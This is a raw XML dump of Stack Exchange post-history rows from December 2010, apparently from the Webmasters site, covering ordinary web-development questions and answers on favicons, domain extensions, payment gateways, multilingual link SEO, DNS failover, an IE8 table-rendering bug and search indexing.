  <row Id="12626" PostHistoryTypeId="2" PostId="6322" RevisionGUID="53991329-db42-4e88-acca-75527683c946" CreationDate="2010-12-05T00:04:53.870" UserId="1064" Text="&gt; This may seem a little... out there,&#xD;&#xA;&gt; but have any studies been conducted&#xD;&#xA;&gt; about the psychological or even&#xD;&#xA;&gt; physical aspects of viewing a web&#xD;&#xA;&gt; page?&#xD;&#xA;&#xD;&#xA;The study of [website usability][1] encompasses a *huge* body of research.&#xD;&#xA;&#xD;&#xA;You might also be interested in the nascent field of [neuromarketing][2], but most of your examples correlate directly to usability studies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_usability&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Neuromarketing" />
  <row Id="12627" PostHistoryTypeId="5" PostId="6312" RevisionGUID="566ab609-f88c-465f-aecf-e7ff289e23b7" CreationDate="2010-12-05T00:08:07.563" UserId="1064" Comment="Corrected: defiantly/definitely" Text="I would totally do this, but I wouldn't stop there. I'd throw a little Microdata in there also, making it:&#xD;&#xA;&#xD;&#xA;`&lt;li&gt;&lt;a href=&quot;http://example.com/cm&quot; rel=&quot;me&quot;&gt;&lt;abbr title=&quot;Curriculm vitae&quot;&gt;CV&lt;/abbr&gt;&lt;/a&gt;&lt;/li&gt;`&#xD;&#xA;&#xD;&#xA;I'd go one step further if you're using &lt;a href=&quot;http://microformats.org/wiki/hcard&quot;&gt;hCard&lt;/a&gt; and add a `class=&quot;url&quot;` but that's probably overkill for you. I'd definitely put the `rel=&quot;me&quot;` in there though." />
  <row Id="12628" PostHistoryTypeId="2" PostId="6323" RevisionGUID="186675f1-4dce-43a5-94e0-e19f5cf5e784" CreationDate="2010-12-05T00:16:19.850" UserId="3514" Text="The biggest pros on an integrated network install are that you don't have to give your clients admin access, just editor, and even if you do give them admin, they can only screw up a very small portion of their site, because you're in control of everything.&#xD;&#xA;&#xD;&#xA;But if your client already has their own domain and hosting, why would they want to switch over to you? In that case, you would just want to use a single install, giving yourself an extra admin account to fix problems that may arise.&#xD;&#xA;&#xD;&#xA;Mostly the integrated network comes in handy when you want to update things. You don't have to worry about anybody else updating, or even attempting to update things and possibly screwing up their system.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;I think it's reasonable to have multiple sites setup on one installation depending on the circumstances. If you've got a client who's just running a small site and doesn't have hosting yet, that's fine. Even if they do have hosting, it would be fine because it's a small site. Though you should probably have a large server with lots of bandwidth, and should make sure you're allowed to resell with your host...&#xD;&#xA;&#xD;&#xA;Pretty much if you just want to give them access to only posts and pages (and, I can't remember if settings are included, but I think they are) then make them an editor, not an admin. However, like I said before, if you use a multi site and they're admin of one site, they can't touch or mess with other sites, just their own, and really, they only have the access that you give them through the multisite control panel.&#xD;&#xA;&#xD;&#xA;My suggestion for you is that you play around with multisites and see if they're what you want to use. You can give admins of sites as much access as they would have if it was their own full site, or even less than what wordpress.com gives them." />
  <row Id="12629" PostHistoryTypeId="2" PostId="6324" RevisionGUID="31f89533-129b-4270-a502-82ac00f73e11" CreationDate="2010-12-05T02:17:38.397" UserId="138" Text="I've no idea what country you're in, so here's some that cover the major countries:&#xD;&#xA;&#xD;&#xA;- http://www.lawlive.com.au/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.co.uk/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.com.hk/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.co.nz/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.co.za/legal-website-privacy-policy/&#xD;&#xA;&#xD;&#xA;(It's about the same price nomatter which currency you buy it in)&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Full disclosure: I know the people that run this website. In fact I've worked with them in the past, and we use their services my workplace.&lt;/sub&gt;" />
  <row Id="12630" PostHistoryTypeId="2" PostId="6325" RevisionGUID="194bcaab-a21b-4955-9e2a-a5cb190617d0" CreationDate="2010-12-05T05:02:52.687" UserId="3230" Text="Hi can you tell me any website where  I can find a template for my Social networking site (paid or free doesn't matter) in java ? &#xD;&#xA;&#xD;&#xA;I browsed joomla and drupal but they are in PHP. Please tell me if there is any place where i can find jaba site templates" />
  <row Id="12631" PostHistoryTypeId="1" PostId="6325" RevisionGUID="194bcaab-a21b-4955-9e2a-a5cb190617d0" CreationDate="2010-12-05T05:02:52.687" UserId="3230" Text="Where can I find template for Social networking site (paid or free doesn't matter) for my java website?" />
  <row Id="12632" PostHistoryTypeId="3" PostId="6325" RevisionGUID="194bcaab-a21b-4955-9e2a-a5cb190617d0" CreationDate="2010-12-05T05:02:52.687" UserId="3230" Text="&lt;template&gt;" />
  <row Id="12633" PostHistoryTypeId="2" PostId="6327" RevisionGUID="9e901c3a-e059-4d7a-95b5-1fcb1c8b6b71" CreationDate="2010-12-05T06:42:36.413" UserDisplayName="taspeotis" Text="&gt; I don't know much about what features does the .com,.info,.org etc offer&#xD;&#xA;&#xD;&#xA;They're domain names, they don't offer any features beyond name resolution. Your domain registrar may offer more features, however." />
  <row Id="12634" PostHistoryTypeId="2" PostId="6328" RevisionGUID="c5fff777-a664-499e-afb5-a40f7fb17438" CreationDate="2010-12-05T06:45:43.043" UserDisplayName="Ruel" Text="The TLDs (.com, .net, etc) doesn't affect the content. It's just a part of the domain name, and the content will be up to you." />
  <row Id="12635" PostHistoryTypeId="2" PostId="6326" RevisionGUID="f168b3b1-92f5-4566-82bb-81cbd41bda4f" CreationDate="2010-12-05T06:39:58.430" UserId="2930" Text="I am about to make a site regarding programming and technology.Being very new to the webmasters field I don't know much about what features does the .com,.info,.org etc offer.If I built a site on any of these (.com,.net,.org etc etc) and add a feature that every member can make his own profile on the site,will I have to give some extra money for that ?Moreover does all of them allow such features?Please help me out.Thanks!" />
  <row Id="12636" PostHistoryTypeId="1" PostId="6326" RevisionGUID="f168b3b1-92f5-4566-82bb-81cbd41bda4f" CreationDate="2010-12-05T06:39:58.430" UserId="2930" Text="domain name purchasing" />
  <row Id="12637" PostHistoryTypeId="3" PostId="6326" RevisionGUID="f168b3b1-92f5-4566-82bb-81cbd41bda4f" CreationDate="2010-12-05T06:39:58.430" UserId="2930" Text="&lt;domains&gt;" />
  <row Id="12638" PostHistoryTypeId="17" PostId="6326" RevisionGUID="a8bb47a1-1339-445c-9719-10594a330374" CreationDate="2010-12-05T06:46:36.093" UserId="-1" Comment="from http://stackoverflow.com/questions/4357705/domain-name-purchasing" Text="" />
  <row Id="12639" PostHistoryTypeId="2" PostId="6329" RevisionGUID="fbbb42ed-78b6-489c-aaca-02dfbc893c36" CreationDate="2010-12-05T09:28:04.357" UserId="2840" Text="You can use [Zend Framework][1]. It's a good framework, but not very like Rails. Otherwise, it don't need shell access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://framework.zend.com/" />
  <row Id="12640" PostHistoryTypeId="2" PostId="6331" RevisionGUID="29d2d128-d428-435e-a54a-9f0412d8506f" CreationDate="2010-12-05T10:03:09.120" UserId="274" Text="To work in all browsers, `.ico` is preferred, as for the size, 32x32 is the most widely used, 16x16 also works (this is the actual size used in the browser in most places).&#xD;&#xA;&#xD;&#xA;Also not in your question, they should be 8 or 24bit color depth.&#xD;&#xA;&#xD;&#xA;It may be worth noting, if you plan on iWhatever users bookmarking your site, that's a separate `&lt;link&gt;` for the image, for example StackOvrflow's:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;apple-touch-icon&quot; href=&quot;http://sstatic.net/stackoverflow/img/apple-touch-icon.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;Which is:  &#xD;&#xA;![SO Touch Icon][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sstatic.net/stackoverflow/img/apple-touch-icon.png" />
  <row Id="12641" PostHistoryTypeId="2" PostId="6332" RevisionGUID="0483f20f-5528-41cf-8843-37c8ec7c4047" CreationDate="2010-12-05T10:03:35.667" UserDisplayName="negative" Text="http://en.wikipedia.org/wiki/Favicon" />
  <row Id="12642" PostHistoryTypeId="2" PostId="6330" RevisionGUID="1071a4ec-ee71-4264-807f-c3058b9ec00f" CreationDate="2010-12-05T10:00:37.850" UserId="2995" Text="What markup is the modern standard for adding a favicon to my site? What is the standard image format and size?" />
  <row Id="12643" PostHistoryTypeId="1" PostId="6330" RevisionGUID="1071a4ec-ee71-4264-807f-c3058b9ec00f" CreationDate="2010-12-05T10:00:37.850" UserId="2995" Text="How do I add a favicon to my website?" />
  <row Id="12644" PostHistoryTypeId="3" PostId="6330" RevisionGUID="1071a4ec-ee71-4264-807f-c3058b9ec00f" CreationDate="2010-12-05T10:00:37.850" UserId="2995" Text="&lt;html&gt;&lt;image&gt;&lt;favicon&gt;" />
  <row Id="12645" PostHistoryTypeId="17" PostId="6330" RevisionGUID="b7486318-cfd5-4b92-ae2e-f06aa6054792" CreationDate="2010-12-05T10:08:43.673" UserId="-1" Comment="from http://stackoverflow.com/questions/4358255/how-do-i-add-a-favicon-to-my-website" Text="" />
  <row Id="12646" PostHistoryTypeId="2" PostId="6333" RevisionGUID="f1cd5615-b2e7-480b-b873-efdcdbcd2647" CreationDate="2010-12-05T11:25:06.153" UserId="3591" Text="Should I do:&lt;br /&gt;&#xD;&#xA;A: translate the language links in the current language: (if I am on the English version)&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;en/&quot;&gt;English&lt;/a&gt; | &#xD;&#xA;    &lt;a href=&quot;it/&quot;&gt;Italian&lt;/a&gt; | &#xD;&#xA;    &lt;a href=&quot;fr/&quot;&gt;French&#xD;&#xA;&#xD;&#xA;B: the links in the native languages:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;en/&quot;&gt;English&lt;/a&gt; | &#xD;&#xA;    &lt;a href=&quot;it/&quot;&gt;Italiano&lt;/a&gt; | &#xD;&#xA;    &lt;a href=&quot;fr/&quot;&gt;Français&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;From a user perspective option B is obvious, but what about SEO?" />
  <row Id="12647" PostHistoryTypeId="1" PostId="6333" RevisionGUID="f1cd5615-b2e7-480b-b873-efdcdbcd2647" CreationDate="2010-12-05T11:25:06.153" UserId="3591" Text="Multi language switch links translated or in current language?" />
  <row Id="12648" PostHistoryTypeId="3" PostId="6333" RevisionGUID="f1cd5615-b2e7-480b-b873-efdcdbcd2647" CreationDate="2010-12-05T11:25:06.153" UserId="3591" Text="&lt;seo&gt;&lt;multilingual&gt;" />
  <row Id="12649" PostHistoryTypeId="2" PostId="6334" RevisionGUID="0529d63a-02aa-4455-ab4e-4aaac47b4492" CreationDate="2010-12-05T11:54:01.200" UserId="3544" Text="Okay, I'm sorry I've only come back to this now, but just to let you know that I've sorted out issue #3 using Views....what a brilliant module! @Vilepickle, thanks for giving me a head start with using taxonomy - I was able to sort everyhting out by creating separate content types for &quot;Chairman Speeches&quot; and &quot;Community News&quot; and taxonomy terms for each respectively. Thereafter, I just used 2 Views to display all posts filtered by either `chairman-speeches` or `community-news` node-types, added a Page display, and set the menu path for each accordingly.&#xD;&#xA;&#xD;&#xA;My reason for creating separate content-types instead of using tags, is because I wanted each of them to have their own tags under each one.  Hope this helps someone!" />
  <row Id="12650" PostHistoryTypeId="2" PostId="6335" RevisionGUID="0f52bfc0-42ff-4e16-a6eb-65cb002bbf29" CreationDate="2010-12-05T12:41:21.840" UserId="1918" Text="It seems that there are only two types of payment gateway service out there at the moment; Either that the entire cart logic is handled offsite (with something like Paypal's Standard option) or the other option being that you need to go through the certification for handling credit card numbers and doing pretty much everything yourself.&#xD;&#xA;&#xD;&#xA;Ideally, for the project I'm working on, I'm after a bit of middle ground such that I can handle the cart on-site, and only pass over to a payment gateway (with an order amount, billing &amp; delivery details, and order ref) for them to handle the card details, before passing back.&#xD;&#xA;&#xD;&#xA;I'm sure that I've used e-commerce sites using this pattern before, but I cannot find any payment providers out there that offer this sort of option, so are there any? The only over requirement we have at present is that it must accept orders in Sterling. " />
  <row Id="12651" PostHistoryTypeId="1" PostId="6335" RevisionGUID="0f52bfc0-42ff-4e16-a6eb-65cb002bbf29" CreationDate="2010-12-05T12:41:21.840" UserId="1918" Text="What options are there for integrating with payment gateways?" />
  <row Id="12652" PostHistoryTypeId="3" PostId="6335" RevisionGUID="0f52bfc0-42ff-4e16-a6eb-65cb002bbf29" CreationDate="2010-12-05T12:41:21.840" UserId="1918" Text="&lt;ecommerce&gt;&lt;payment-gateway&gt;" />
  <row Id="12653" PostHistoryTypeId="2" PostId="6336" RevisionGUID="975f4fc8-4e72-4fc9-806d-55ceed73dd30" CreationDate="2010-12-05T12:56:35.867" UserId="2840" Text="You can use a tool like [http://www.favicon.cc/][1] to importe a picture and convert it into a favicon, or just create it from scratch.&#xD;&#xA;&#xD;&#xA;After that, if you name your file `favicon.ico` and put it at the root of your website, most of the web-browsers get it automatically.&#xD;&#xA;&#xD;&#xA;But you can also explicitly declare it in your html files like this:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; type=&quot;image/png&quot; href=&quot;path/to/your/favicon.png&quot; /&gt;&#xD;&#xA;&#xD;&#xA;With the advantages to use other format than `ico`, use differents favicons on differents pages, put your favicon to an other place, use an other name than `favicon` etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.favicon.cc/" />
  <row Id="12654" PostHistoryTypeId="2" PostId="6337" RevisionGUID="7fc2825b-9e3a-4e2a-84cf-90d0cccb05dc" CreationDate="2010-12-05T13:02:21.970" UserId="1953" Text="Symfony is rails like (I believe it's essentially of php port of rails) and although I've not used GoDaddy for hosting before it seems others have had success hosting it there. http://gfaraj.wordpress.com/2008/04/25/deploying-a-symfony-project-on-godaddy-shared-hosting/" />
  <row Id="12655" PostHistoryTypeId="2" PostId="6338" RevisionGUID="94ae691c-4236-454b-a545-499462f50cf0" CreationDate="2010-12-05T13:09:23.053" UserId="1918" Text="You could turn this question on its head; let's say you land on the page, and the current language is Russian; which of these do you pick to get to something you understand?&#xD;&#xA;&#xD;&#xA;* французский&#xD;&#xA;* английский&#xD;&#xA;* итальянский&#xD;&#xA;* русский&#xD;&#xA;&#xD;&#xA;From a usability perspective, I'd say that the language names should always be in their native languages, over the current language." />
  <row Id="12656" PostHistoryTypeId="2" PostId="6339" RevisionGUID="c80bd411-8ce0-4319-b3d5-f571723deffe" CreationDate="2010-12-05T13:18:31.710" UserDisplayName="user181421" Text="After dealing with problematic web hosting company, I have to move to a new one. Which do you think is the best for .Net?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TY" />
  <row Id="12657" PostHistoryTypeId="1" PostId="6339" RevisionGUID="c80bd411-8ce0-4319-b3d5-f571723deffe" CreationDate="2010-12-05T13:18:31.710" UserDisplayName="user181421" Text="Best .Net 4.0 web hosting" />
  <row Id="12658" PostHistoryTypeId="3" PostId="6339" RevisionGUID="c80bd411-8ce0-4319-b3d5-f571723deffe" CreationDate="2010-12-05T13:18:31.710" UserDisplayName="user181421" Text="&lt;.net&gt;&lt;web-hosting&gt;" />
  <row Id="12659" PostHistoryTypeId="17" PostId="6339" RevisionGUID="c854a3e7-c2c9-46ca-a6f4-c817809f073a" CreationDate="2010-12-05T13:22:23.160" UserId="-1" Comment="from http://stackoverflow.com/questions/4358995/best-net-4-0-web-hosting" Text="" />
  <row Id="12663" PostHistoryTypeId="2" PostId="6341" RevisionGUID="4c189077-35f2-428b-b1d6-ce0028ce0fab" CreationDate="2010-12-05T13:27:13.370" UserDisplayName="viola" Text="Hi why is that facebook does not allow me to create a page for myself?" />
  <row Id="12664" PostHistoryTypeId="1" PostId="6341" RevisionGUID="4c189077-35f2-428b-b1d6-ce0028ce0fab" CreationDate="2010-12-05T13:27:13.370" UserDisplayName="viola" Text="facebook page problem" />
  <row Id="12665" PostHistoryTypeId="3" PostId="6341" RevisionGUID="4c189077-35f2-428b-b1d6-ce0028ce0fab" CreationDate="2010-12-05T13:27:13.370" UserDisplayName="viola" Text="&lt;facebook&gt;&lt;page&gt;" />
  <row Id="12667" PostHistoryTypeId="2" PostId="6343" RevisionGUID="9098d8f1-8d7b-4738-a9b8-ff6b25eadf2c" CreationDate="2010-12-05T14:07:44.120" UserId="2026" Text="Sometimes TLDs may affect traffic since .COM is most popular. And most of the people, if they are not aware with TLD of your site, try .COM first. But most important is domain name not TLD.&#xD;&#xA; Moreover i would suggest you to use wordpress 3.0. It'll help you to build a site easily as per your need. You just need to pay for domain name and webspace." />
  <row Id="12668" PostHistoryTypeId="10" PostId="6341" RevisionGUID="538bb554-aa99-4b79-ab09-684f909be9cd" CreationDate="2010-12-05T14:38:45.457" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="12672" PostHistoryTypeId="2" PostId="6344" RevisionGUID="e6a1cdd1-3d15-489a-81fb-fed04168b0d6" CreationDate="2010-12-05T14:46:19.853" UserId="1253" Text="Based on the information you provided I'd say it doesn't look like there is an easy way for you to easily do a bulk 301 redirect, either programmatically or with a blanket .htaccess rule. It looks like you will need to manually do one for each page you migrated over to the new site.&#xD;&#xA;&#xD;&#xA;Each page will need it's own 301 as you will want to make sure every link for each page is properly redirected to its new page. Otherwise every page on your new site will be considered new and start from scratch with PR, etc. If you had a lot of incoming links it may be a hassle to do but is very well worth it." />
  <row Id="12673" PostHistoryTypeId="2" PostId="6345" RevisionGUID="6857d6c5-bd6e-4eaa-b75d-044d13c59fa3" CreationDate="2010-12-05T14:51:42.607" UserId="2293" Text="As answered by @danlefree, usability researches are what we have easily available as of now.&#xD;&#xA;&#xD;&#xA;You can find [Jakob Nielsen's researches][1] a good point to start with reading.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/" />
  <row Id="12674" PostHistoryTypeId="2" PostId="6346" RevisionGUID="1df70419-9951-4ff9-8b25-9d0e14be6e26" CreationDate="2010-12-05T15:47:13.963" UserId="3679" Text="Its a simple solution. Buy hosting service from two different providers.  Preferably in different geographic regions.&#xD;&#xA;&#xD;&#xA;For DNS of your site example.com use the two different IP addresses from the providers.&#xD;&#xA;&#xD;&#xA;Example.&#xD;&#xA;ISP #1 assigns you IP aaa.bbb.ccc.ddd&#xD;&#xA;IPS #2 assigns you IP www.xxx.yyy.zzz&#xD;&#xA;&#xD;&#xA;Then your DNS entry would look like&#xD;&#xA;&#xD;&#xA;aaa.bbb.ccc.ddd    example.com&#xD;&#xA;www.xxx.yyy.zzz    example.com&#xD;&#xA;&#xD;&#xA;When you do a nslookup you will get 2 IPs instead of one. In this case your requests would be load balanced between the two sites and if one is down the other would be available.&#xD;&#xA;&#xD;&#xA;There will be a challenge with the DB though, but you sysad should be able to figure it out :)&#xD;&#xA;&#xD;&#xA;-Sysadmin" />
  <row Id="12675" PostHistoryTypeId="2" PostId="6347" RevisionGUID="0157757b-0413-4964-90bd-52fd19c364be" CreationDate="2010-12-05T15:54:40.600" UserId="89" Text="I think most e-commerce providers have something like that, I use [FastSpring](http://fastspring.com) and they have an API where you can post the order details from your cart to their site where they handle the payment. (I think PayPal also have something similar but I'm not 100% sure)." />
  <row Id="12676" PostHistoryTypeId="2" PostId="6348" RevisionGUID="50154c2e-703b-4676-b59e-ee38e8a5fafb" CreationDate="2010-12-05T16:39:32.390" UserDisplayName="Jalil" Text="This HTML table is being misinterpreted by some browsers, and I cannot understand why : &#xD;&#xA;&#xD;&#xA;**Chrome and Outlook** display the rendering I expect, where the 2nd cells of the 2nd and 3rd lines pass over the 4th cell of the lines 4 to 10. &#xD;&#xA;&#xD;&#xA;[screenshot of Chrome rendering][1]&#xD;&#xA;&#xD;&#xA;**Internet Explorer 8 and Opera 10** display something different, where the 4th cell of the lines 4 to 10 &quot;starts after&quot; the 2nd cells of the 2nd and 3rd lines. &#xD;&#xA;&#xD;&#xA;Screenshot of Internet Explorer 8 rendering : http:// tinyurl.com/34387ec&#xD;&#xA;&#xD;&#xA;Any guess why my colspans et rowspans are not interpreted the same way ?&#xD;&#xA;Which browsers are right ?&#xD;&#xA;How can I arrange my code so that they all render like Chrome ?&#xD;&#xA;&#xD;&#xA;My actual code : &#xD;&#xA;&#xD;&#xA;    &lt;table border=0 cellspacing=0 cellpadding=0 width=400 style='width:300pt;border-collapse:collapse;border:1px solid black;'&gt;&#xD;&#xA;     &lt;tr style='height:9.75pt'&gt;&#xD;&#xA;      &lt;td colspan=6 valign=top style='border:1px solid black;height:9.75pt;width:300pt;' width=&quot;400px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:1;height:12pt' height=&quot;16px&quot;&gt;&#xD;&#xA;      &lt;td rowspan=9 valign=top style='border:1px solid black;border-top:1px solid black;height:12pt;width:14.25pt' width=&quot;19px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td bgcolor=&quot;red&quot; colspan=3 valign=top style='border:1px solid black;height:12pt;width:203.25pt;' width=&quot;271px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td rowspan=2 valign=top style='border:1px solid black;height:12pt;width: 72pt' width=&quot;96px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td rowspan=2 valign=top style='border:1px solid black;height:12pt;width:10.5pt' width=&quot;14px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:2;height:12pt' height=&quot;16px&quot;&gt;&#xD;&#xA;      &lt;td bgcolor=&quot;red&quot; colspan=3 valign=top style='border:1px solid black;height:12pt;width:203.25pt;' width=&quot;271px&quot; height=&quot;16px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:3;height:3.75pt' height=&quot;5px&quot;&gt;&#xD;&#xA;      &lt;td colspan=2 valign=top style='border:1px solid black;height:3.75pt;width:170.25pt' width=&quot;227px&quot; height=&quot;5px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td colspan=3  rowspan=7 valign=top style='border:1px solid black;height:3.75pt;width:115.5pt' width=&quot;154px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:4;height:11.25pt' height=&quot;15px&quot;&gt;&#xD;&#xA;      &lt;td valign=top style='border:1px solid black;height:11.25pt;width:27.75pt' width=&quot;37px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td valign=top style='border:1px solid black;height:11.25pt;width:142.5pt' width=&quot;190px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:5;height:11.25ptpt' height=&quot;15px&quot;&gt;&#xD;&#xA;      &lt;td valign=top style='border:1px solid black;height:11.25pt;width:27.75pt' width=&quot;37px&quot; height=&quot;15px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;      &lt;td valign=top style='border:1px solid black;height:11.25pt;width:142.5pt' width=&quot;190px&quot; height=&quot;15px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:6;height:3.75pt' height=&quot;5px&quot;&gt;&#xD;&#xA;      &lt;td colspan=2 valign=top style='border:1px solid black;height:3.75pt;width:170.25pt' width=&quot;227px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:7;height:11.25pt' height=&quot;15px&quot;&gt;&#xD;&#xA;      &lt;td colspan=2 valign=top style='border:1px solid black;height:11.25pt;width:170.25pt' width=&quot;227px&quot; height=&quot;31px&quot; &gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:8;height:23.25pt' height=&quot;31px&quot;&gt;&#xD;&#xA;      &lt;td colspan=2 valign=top style='border:1px solid black;height:23.25pt;width:170.25pt' width=&quot;227px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;     &lt;tr style='mso-yfti-irow:9;mso-yfti-lastrow:yes;height:50.25pt' height=&quot;67px&quot;&gt;&#xD;&#xA;      &lt;td colspan=2 valign=top style='border:1px solid black;height:50.25pt;width:170.25pt' width=&quot;227px&quot;&gt;&#xD;&#xA;      &lt;/td&gt;&#xD;&#xA;     &lt;/tr&gt;&#xD;&#xA;    &lt;/table&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.team-logics.com/public/stackoverflow/2010-12-05-Chrome.png&#xD;&#xA;  [2]: http://www.team-logics.com/public/stackoverflow/2010-12-05-IE.png" />
  <row Id="12677" PostHistoryTypeId="1" PostId="6348" RevisionGUID="50154c2e-703b-4676-b59e-ee38e8a5fafb" CreationDate="2010-12-05T16:39:32.390" UserDisplayName="Jalil" Text="Incorrect Internet Explorer 8 colspan interpretation ?" />
  <row Id="12678" PostHistoryTypeId="3" PostId="6348" RevisionGUID="50154c2e-703b-4676-b59e-ee38e8a5fafb" CreationDate="2010-12-05T16:39:32.390" UserDisplayName="Jalil" Text="&lt;html&gt;" />
  <row Id="12679" PostHistoryTypeId="2" PostId="6349" RevisionGUID="9b245906-1e70-4a4e-95e7-a36e4cb60273" CreationDate="2010-12-05T16:53:05.940" UserId="663" Text="Most domain extension lists i've found only list the ccTLD and TLD portion of the extension (e.g. `.uk`) and don't list the full set of valid extensions for that ccTLD or TLD (e.g. `.org.uk`, `.ac.uk`, `.co.uk`, etc).&#xD;&#xA;&#xD;&#xA;Without researching the registrar policies of every single ccTLD in the world, is there a way for me to compile/obtain a complete list of all current valid domain extensions in the world?" />
  <row Id="12680" PostHistoryTypeId="1" PostId="6349" RevisionGUID="9b245906-1e70-4a4e-95e7-a36e4cb60273" CreationDate="2010-12-05T16:53:05.940" UserId="663" Text="How to compile a complete list of valid TLD and ccTLD domain extensions" />
  <row Id="12681" PostHistoryTypeId="3" PostId="6349" RevisionGUID="9b245906-1e70-4a4e-95e7-a36e4cb60273" CreationDate="2010-12-05T16:53:05.940" UserId="663" Text="&lt;domain-names&gt;" />
  <row Id="12682" PostHistoryTypeId="2" PostId="6350" RevisionGUID="bf5772e2-0011-4af8-b0a8-ee81d45621ba" CreationDate="2010-12-05T17:21:02.870" UserId="1593" Text="I was wondering if anyone knew how to add a sitemap to a tumblr blog. &#xD;&#xA;&#xD;&#xA;It was what i use to share stuff online. Since tumblr doesn't let you upload to &#xD;&#xA;&#xD;&#xA;&gt; example.com/sitemap&#xD;&#xA;&#xD;&#xA;So there lies my problem. Any suggestions would be appreciated. " />
  <row Id="12683" PostHistoryTypeId="1" PostId="6350" RevisionGUID="bf5772e2-0011-4af8-b0a8-ee81d45621ba" CreationDate="2010-12-05T17:21:02.870" UserId="1593" Text="Tumblr and Sitemaps" />
  <row Id="12684" PostHistoryTypeId="3" PostId="6350" RevisionGUID="bf5772e2-0011-4af8-b0a8-ee81d45621ba" CreationDate="2010-12-05T17:21:02.870" UserId="1593" Text="&lt;google-analytics&gt;&lt;sitemap&gt;&lt;websites&gt;" />
  <row Id="12685" PostHistoryTypeId="2" PostId="6351" RevisionGUID="ff1b234f-50ab-4a73-b876-ae297ae5abc0" CreationDate="2010-12-05T17:31:46.560" UserId="2930" Text="I have [a blog][1].I made it on August,2010,so it has been a while but I am unable to make Google crawl on my site.I have requested Google to crawl but I still there is no response.Any reasons to note why it is happening ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com" />
  <row Id="12686" PostHistoryTypeId="1" PostId="6351" RevisionGUID="ff1b234f-50ab-4a73-b876-ae297ae5abc0" CreationDate="2010-12-05T17:31:46.560" UserId="2930" Text="Why isnt google crawling on my blog?" />
  <row Id="12687" PostHistoryTypeId="3" PostId="6351" RevisionGUID="ff1b234f-50ab-4a73-b876-ae297ae5abc0" CreationDate="2010-12-05T17:31:46.560" UserId="2930" Text="&lt;crawling&gt;" />
  <row Id="12688" PostHistoryTypeId="2" PostId="6352" RevisionGUID="866f18fc-fe44-413f-a3d9-5ac41ed9dc16" CreationDate="2010-12-05T17:53:37.363" UserDisplayName="kksidd" Text="CouchCMS (http://www.couchcms.com/) also seems to be a perfect alternative to Contribute.&#xD;&#xA;It uses XHTML tags to mark out editable regions within existing HTML pages (just like several other micro CMSes), however it shines when it comes to creating cloned pages out of any existing page.  &#xD;&#xA;" />
  <row Id="12689" PostHistoryTypeId="2" PostId="6353" RevisionGUID="c94f58bf-b5ce-4730-9640-b6cfac1a570d" CreationDate="2010-12-05T18:33:52.103" UserId="2026" Text="dont request him. And not to worry too...&#xD;&#xA;First of all you just write article how many you can (but with good quality).&#xD;&#xA;advertise them among your friends then on social networking sites.&#xD;&#xA;once your site start getting traffic, you'll automatically come in search results.&#xD;&#xA;&#xD;&#xA;Moreover, register yourself to google analytic &amp; webmaster tools. It'll show actual picture of google crawler." />
  <row Id="12690" PostHistoryTypeId="2" PostId="6354" RevisionGUID="087fdad5-f9ef-4df0-8419-916fef213703" CreationDate="2010-12-05T18:33:57.987" UserId="3453" Text="I see it's a blogspot blog s I'll skil most of the common reasons.&#xD;&#xA;&#xD;&#xA;Did you get any inbound links? Put your blog on some free directories and social networks and see what will happen." />
